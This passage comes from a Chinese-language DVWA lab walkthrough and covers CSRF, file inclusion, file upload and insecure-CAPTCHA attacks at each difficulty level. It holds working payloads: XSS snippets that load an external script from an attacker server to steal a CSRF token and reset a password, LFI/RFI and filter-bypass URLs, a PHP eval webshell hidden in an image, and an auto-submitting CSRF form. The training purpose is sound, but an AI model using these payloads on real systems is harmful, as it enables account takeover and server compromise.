token,并向服务器发送改密请求,以完成 CSRF 攻击. 然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的.这里简单解释下跨域,我们的框架 iframe 访问的地址是 http://<dvwa靶机IP>/dvwa/vulnerabilities/csrf ,位于服务器 A 上,而我们的攻击页面位于黑客服务器 B 上,两者的域名不同,域名 B 下的所有页面都不允许主动获取域名 A 下的页面内容,除非域名 A 下的页面主动发送信息给域名 B 的页面,所以我们的攻击脚本是不可能取到改密界面中的 user_token. 由于跨域是不能实现的,所以我们要将攻击代码注入到 dvwa 靶机中,才有可能完成攻击.下面利用 High 级别的存储型 XSS 漏洞协助获取 Anti-CSRF token(因为这里的 XSS 注入有长度限制,不能够注入完整的攻击脚本,所以只获取 Anti-CSRF token). 注入代码如下 `<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>` **另类通关** 通过 XSS 获得 token 之后修改密码 同等级的 XSS-Stored $name 可被我们利用做 XSS,这样就可以配合 CSRF 来重置用户密码了. 需要先说明一下 DVWA 的数据库设计,guestbook 表的 name 字段类型为 varchar(100),也就是说最多 name 只能写入 100 个字符,超过的字符会被数据库抛弃不存储. 由于100个字符的限制,将payload分成多份提交 ```js <svg/onload="s='&#115;&#99;&#114;&#105;&#112;&#116;'"> # 事件内可以解析ASCII编码后的字符串 <svg/onload="j=document.createElement(s)"> # 拼接出一个script来引入外部js <svg/onload="j.src='http://<服务器B>/x.js'"> <svg/onload="document.body.appendChild(j)"> ``` 这样就可以绕过后端的正则过滤 为了方便测试,在 x.js 里只写了 `alert('HelloDVWA')` 发现成功了!!!x.js 被成功加载了.但多次加载还是有问题 使用延时,人工干预执行时序 ```js <svg/onload="setTimeout(function(){s='&#115;&#99;&#114;&#105;&#112;&#116;'},3000)"> <svg/onload="setTimeout(function(){j=document.createElement(s)},4000)"> <svg/onload="setTimeout(function(){j.src='http://<服务器B>/x.js'},5000)"> <svg/onload="setTimeout(function(){document.body.appendChild(j)},6000)"> ``` 稳定触发 下面修改 x.js ```js ifr = document.createElement('iframe'); ifr.src="../csrf"; ifr.hidden=1; document.body.appendChild(ifr); setTimeout(function(){f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;},3000) ``` 当管理员访问留言板 XSS-Stored 时候: 1. 会先加载 `x.js` 2. `x.js` 内的脚本内容,会创建一个隐藏的 `iframe` 标签到 `DOM` 3. 等待 `iframe` 创建完成之后,便通过创建一个 `img` 标签,自动触发修改密码的请求 ### Impossible **服务器端核心代码** ```php <?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match or current password incorrect.</pre>"; } } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 可以看到,Impossible 级别的代码利用 PDO 技术防御 SQL 注入,至于防护 CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行 CSRF 攻击. --- ## File_Inclusion File Inclusion,意思是文件包含(漏洞),是指当服务器开启 allow_url_include 选项时,就可以通过 php 的某些特性函数(include(),require() 和 include_once(),require_once())利用 url 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行.文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了 php 置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件). phpstudy开一下这2个参数 ### Low **服务器端核心代码** ```php <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> ``` 可以看到,服务器端对 page 参数没有做任何的过滤跟检查. 服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回.需要特别说明的是,服务器包含文件时,不管文件后缀是否是 php,都会尝试当做 php 文件执行,如果文件内容确为 php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行. 点击 file1.php 后,显示如下 而现实中,恶意的攻击者是不会乖乖点击这些链接的,因此 page 参数是不可控的. **本地文件包含** 构造 url`http://<IP地址!!!>/dvwa/vulnerabilities/fi/page=/etc/shadow` 报错,显示没有这个文件,说明不是服务器系统不是 Linux,但同时暴露了服务器文件的绝对路径 - **构造url(绝对路径)** `http://<IP地址!!!>/dvwa/vulnerabilities/fi/page=C:/phpStudy/PHPTutorial/WWW/DVWA/php.ini` 成功读取了服务器的 php.ini 文件 `http://<IP地址!!!>/dvwa/vulnerabilities/fi/?page=file4.php` - **构造url(相对路径)** `http://<IP地址!!!>/dvwa/vulnerabilities/fi/page=../../../../../../../../../phpStudy/PHPTutorial/WWW/DVWA/php.ini` 加这么多 ../ 是为了保证到达服务器的C盘根目录,可以看到读取是成功的. 同时我们看到,配置文件中的 Magic_quote_gpc 选项为 off.在 php 版本小于 5.3.4 的服务器中,当 Magic_quote_gpc 选项为 off 时,我们可以在文件名中使用 %00 进行截断,也就是说文件名中 %00 后的内容不会被识别,即下面两个 url 是完全等效的. 1. http://<IP地址!!!>/dvwa/vulnerabilities/fi/?page=../../../../../../../../../phpStudy/PHPTutorial/WWW/DVWA/php.ini 2. http://<IP地址!!!>/dvwa/vulnerabilities/fi/?page=../../../../../../../../../phpStudy/PHPTutorial/WWW/DVWA/php.ini%0012.php 使用 %00 截断可以绕过某些过滤规则,例如要求 page 参数的后缀必须为 php,这时链接 A 会读取失败,而链接 B 可以绕过规则成功读取. **远程文件包含** 当服务器的 php 配置中,选项 allow_url_fopen 与 allow_url_include 为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行. 在远程服务器 B 上传一个 phpinfo.txt 文件,内容如下 ```php <?php phpinfo(); ?> ``` 构造url `http://<IP地址!!!>/dvwa/vulnerabilities/fi/?page=http://<服务器B IP地址!!!>/phpinfo.txt` 成功在服务器上执行了 phpinfo 函数 为了增加隐蔽性,可以对 http://<服务器B IP地址!!!>/phpinfo.txt 进行 URL 编码 例如 `http://192.168.72.128/dvwa/vulnerabilities/fi/?page=http://192.168.72.138/phpinfo.txt` 可以编码为 `http://192.168.72.128/dvwa/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%37%32%2e%31%33%38%2f%70%68%70%69%6e%66%6f%2e%74%78%74` 同样可以执行成功 ### Medium **服务器端核心代码** ```php <?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?> ``` 可以看到,Medium 级别的代码增加了 str_replace 函数,对 page 参数进行了一定的处理,将"http:// "、"https://"、 " ../"、"..\"替换为空字符,即删除. **相关函数** - **str_replace()** str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写). 该函数必须遵循下列规则: - 如果搜索的字符串是数组,那么它将返回数组. - 如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换. - 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换 - 如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用. **漏洞利用** 使用 str_replace 函数是极其不安全的,因为可以使用双写绕过替换规则. 例如 `page=hthttp://tp://<IP地址!!!>/phpinfo.txt` 时,str_replace 函数会将 http:// 删除,于是 `page=http://<IP地址!!!>/phpinfo.txt`,成功执行远程命令. 同时,因为替换的只是"../"、"..\",所以对采用绝对路径的方式包含文件是不会受到任何限制的. **本地文件包含** `http://<IP地址!!!>/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././..././..././..././phpStudy/PHPTutorial/WWW/DVWA/php.ini` 读取配置文件成功 **远程文件包含** `http://<IP地址!!!>/dvwa/vulnerabilities/fi/?page=hhttp://ttp://<服务器B IP地址!!!>/phpinfo.txt` 远程执行命令成功 经过编码后的 url 不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的 page 参数依然是http://<IP地址!!!>/phpinfo.txt,因此读取失败. ### High **服务器端核心代码** ```php <?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?> ``` 可以看到,High 级别的代码使用了 fnmatch 函数检查 page 参数,要求 page 参数的开头必须是 file,服务器才会去包含相应的文件. **相关函数** - **fnmatch(pattern,string,flags)** 函数根据指定的模式来匹配文件名或字符串. 此函数对于文件名尤其有用,但也可以用于普通的字符串.普通用户可能习惯于 shell 模式或者至少其中最简单的形式 '?' 和 '*' 通配符,因此使用 fnmatch() 来代替 ereg() 或者 preg_match() 来进行前端搜索表达式输入对于非程序员用户更加方便. 注:fnmatch 函数适用于 PHP >= 4.3.0,因此 php 版本高于这个才能利用,否则会出现打不开 high 等级页面. **漏洞利用** High 级别的代码规定只能包含 file 开头的文件,看似安全,不幸的是我们依然可以利用 file 协议绕过防护策略.file 协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是 file 协议. 构造 url `http://<IP地址!!!>/dvwa/vulnerabilities/fi/?page=file://C:/phpStudy/PHPTutorial/WWW/DVWA/php.ini` 至于执行任意命令,需要配合文件上传漏洞利用.首先需要上传一个内容为 php 的文件,然后再利用 file 协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行. ### Impossible **服务器端核心代码** ```php <?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?> ``` 可以看到,Impossible 级别的代码使用了白名单机制进行防护,简单粗暴,page 参数必须为"include.php"、"file1.php"、"file2.php"、"file3.php"之一,彻底杜绝了文件包含漏洞. --- ## File_Upload File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的 webshell 权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx 等都曝出过文件上传漏洞. 先看常规的文件上传操作 **客户端上传** 在HTML `<form>` 标签中 enctype 属性规定在发送到服务器之前应该如何对表单数据进行编码.它的值有三种: ``` application/x-www-form-urlencoded: 在发送前编码所有字符(默认) multipart/form-data: 不对字符编码.在使用包含文件上传控件的表单时,必须使用该值. text/plain: 空格转换为 "+" 加号,但不对特殊字符编码. ``` **服务端接收** 使用 `$_FILES` 数组接收参数. 打印 $_FILES `print_r($_FILES);` 发现上传一个文件时的属性有 ``` [name] => feng.jpeg 文件的名称 [type] => image/jpeg 文件的MIME类型 [tmp_name] => C:\Users\Administrator\AppData\Local\Temp\php2007.tmp 文件的临时位置 [error] => 0 文件的错误信息 0 ok 1234 error [size] => 2859 文件的大小 ``` 文件上传漏洞的利用的条件 ``` 1. 能够成功上传木马文件 2. 上传文件必须能够被执行 3. 上传文件的路径必须可知 ``` ### Low **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No $html .= '<pre>Your image was not uploaded.</pre>'; } else { // Yes! $html .= "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?> ``` - **basename(path,suffix)** 函数返回路径中的文件名部分,如果可选参数 suffix 为空,则返回的文件名包含后缀名,反之不包含后缀名. 参数介绍: $path: 必需.规定要检查的路径.在 Windows中,斜线(/)和反斜线(\)都可以用作目录分隔符.在其它环境下是斜线(/). $suffix: 可选.规定文件扩展名.如果文件有 suffix,则不会输出这个扩展名. 可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息. **漏洞利用** 文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知.不幸的是,这里三个条件全都满足. 上传文件 shell.php(一句话木马) ```php <?php @eval($_POST['ant']); ?> ``` 上传成功,并且返回了上传路径 注:这里推荐用开源的 [antSword](https://github.com/AntSwordProject/antSword) 连接webshell,安装步骤这里略 `http://<IP地址!!!>/dvwa/hackable/uploads/shell.php` 然后 antSword 就会通过向服务器发送包含 ant 参数的 post 请求,在服务器上执行任意命令,获取 webshell 权限.可以下载、修改服务器的所有文件. ### Medium **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No $html .= '<pre>Your image was not uploaded.</pre>'; } else { // Yes! $html .= "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?> ``` 可以看到,Medium 级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是 jpeg 或者 png,大小不能超过 100000B(约为 97.6KB). **组合拳(文件包含+文件上传)** 因为采用的是一句话木马,所以文件大小不会有问题,至于文件类型的检查,尝试修改文件名为 shell.png , 上传成功 尝试使用 antSword 连接,不幸的是,虽然成功上传了文件,但是并不能成功获取 webshell 权限,在 antSword 上会报错 这是因为 antSword 的原理是向上传文件发送包含 ant 参数的 post 请求,通过控制 ant 参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送 post 请求时,服务器只会返回这个"图片"文件,并不会执行相应命令. 这里可以借助 Medium 级别的文件包含漏洞来获取 webshell 权限 `http://<IP地址!!!>/dvwa/vulnerabilities/fi/?page=hthttp://tp://<IP地址!!!>/dvwa/hackable/uploads/shell.png` `http://<IP地址!!!>/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././..././..././..././phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/shell.php` 注: 这里的 post 需要一个带 Medium 级别的 cookie 请求,antSword 现在貌似不支持带 cookie 访问,我是自己配置 burp 代理,用 burp 抓包加上 cookie 进行访问的 **抓包修改文件类型** 上传 shell.png 文件,抓包. 可以看到文件类型为 image/png,尝试修改 filename 为 shell.php. 上传成功.上 antSword 连接 **截断绕过规则** 在 php 版本小于 5.3.4 的服务器中,当 Magic_quote_gpc 选项为 off 时,可以在文件名中使用 %00 截断,所以可以把上传文件命名为 shell.php%00.png. 可以看到,包中的文件类型为 image/png,可以通过文件类型检查.上传成功. 而服务器会认为其文件名为 shell.php,顺势解析为 php 文件. ### High **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No $html .= '<pre>Your image was not uploaded.</pre>'; } else { // Yes! $html .= "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?> ``` - **strrpos(string,find,start)** 函数返回字符串 find 在另一字符串 string 中最后一次出现的位置,如果没有找到字符串则返回 false,可选参数 start 规定在何处开始搜索. - **strtolower(string)** 把字符串转换为小写. - **getimagesize(string filename)** 函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错. 可以看到,High 级别的代码读取文件名中最后一个 `.` 后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是 `*.jpg`、`*.jpeg` 、`*.png` 之一.同时,getimagesize 函数更是限制了上传文件的文件头必须为图像类型. 漏洞利用 采用 %00 截断的方法可以轻松绕过文件名的检查,但是需要将上传文件的文件头伪装成图片,这里只演示如何借助 High 级别的文件包含漏洞来完成攻击. 科普下文件头相关的知识,常见的图片格式的文件头标识如下: ``` JPEG/JPG - 文件头标识 (2 bytes): FF D8 (SOI) (JPEG 文件标识) - 文件结束标识 (2 bytes): FF D9 (EOI) PNG - 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A GIF - 文件头标识 (6 bytes) 47 49 46 38 39(37) 61 |GIF89(7)a ``` 更多格式的文件头标识参见文章: [通过文件头标识判断图片格式](https://www.cnblogs.com/Wendy_Yu/archive/2011/12/27/2303118.html) 文件头欺骗:伪造文件头,使文件头标识一样,其它部分我们修改为一句话木马,也就成了我们常说的图片一句话. 首先利用 copy 将一句话木马文件 php.php 与图片文件 1.jpg 合并 `copy 1.jpg/b+php.php/a shell.jpg` 打开可以看到,一句话木马藏到了最后.顺利通过文件头检查,可以成功上传. 注:我在 win10 裸机上进行的 phpstury 环境搭建,在这一步上传过程中,一直失败,后来发现是 windows defender 把上传上来的图片马杀掉了,所以出现同类问题可以检查下杀软情况 antSword 连接: `http://<IP地址!!!>/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/shell.jpg` 这里和上面一样,自己抓包加上 cookie ### Impossible **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! $html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No $html .= '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?> ``` - **in_get(varname)** 函数返回相应选项的值 - **imagecreatefromjpeg ( filename )** 函数返回图片文件的图像标识,失败返回false - **imagejpeg ( image , filename , quality)** 从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大). - **imagedestroy( img )** 函数销毁图像资源 可以看到,Impossible 级别的代码对上传文件进行了重命名(为 md5 值,导致 %00 截断无法绕过过滤规则),加入 Anti-CSRF token 防护 CSRF 攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件. --- ## Insecure_CAPTCHA Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA 是 Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称.但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅. 这一步服务器可以不需要翻墙,主要在于绕过验证码 去 https://www.google.com/recaptcha/admin/create 申请下 key,信息随便填 在`dvwa\config\config.inc.php`中加入如下API key ``` $_DVWA[ 'recaptcha_public_key' ] = '你的公钥'; $_DVWA[ 'recaptcha_private_key' ] = '你的私钥'; ``` **reCAPTCHA 验证流程** 这一模块的验证码使用的是 Google 提供 reCAPTCHA 服务,下图是验证的具体流程. 服务器通过调用 recaptcha_check_answer 函数检查用户输入的正确性. recaptcha_check_answer($privkey,$remoteip, $challenge,$response) 数 $privkey 是服务器申请的 private key ,$remoteip 是用户的 ip,$challenge 是recaptcha_challenge_field 字段的值,来自前端页面 ,$response是 recaptcha_response_field 字段的值.函数返回 ReCaptchaResponse class 的实例,ReCaptchaResponse 类有2个属性 : 1. $is_valid 是布尔型的,表示校验是否有效, 2. $error 是返回的错误代码. ### Low **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key'], $_POST['g-recaptcha-response'] ); // Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user $html .= " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching $html .= "<pre>Passwords did not match.</pre>"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交 post 请求,服务器完成更改密码的操作.但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查 Change、step 参数来判断用户是否已经输入了正确的验证码. **通过构造参数绕过验证过程的第一步** 首先输入密码,点击 Change 按钮,抓包,更改 step 参数绕过验证码: ps:因为没有翻墙,所以没能成功显示验证码,发送的请求包中也就没有 recaptcha_challenge_field、recaptcha_response_field 两个参数 **CSRF** 由于没有任何的防 CSRF 机制,我们可以轻易地构造攻击页面,页面代码如下 ``` <html> <body onload="document.getElementById('transfer').submit()"> <div> <form method="POST" id="transfer" action="http://<IP地址!!!>/dvwa/vulnerabilities/captcha/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="step" value="2" <input type="hidden" name="Change" value="Change"> </form> </div> </body> </html> ``` 当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器. 美中不足的是,受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回 302,实现自动跳转),从而意识到自己遭到了攻击 ### Medium **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] ); // Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user $html .= " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user 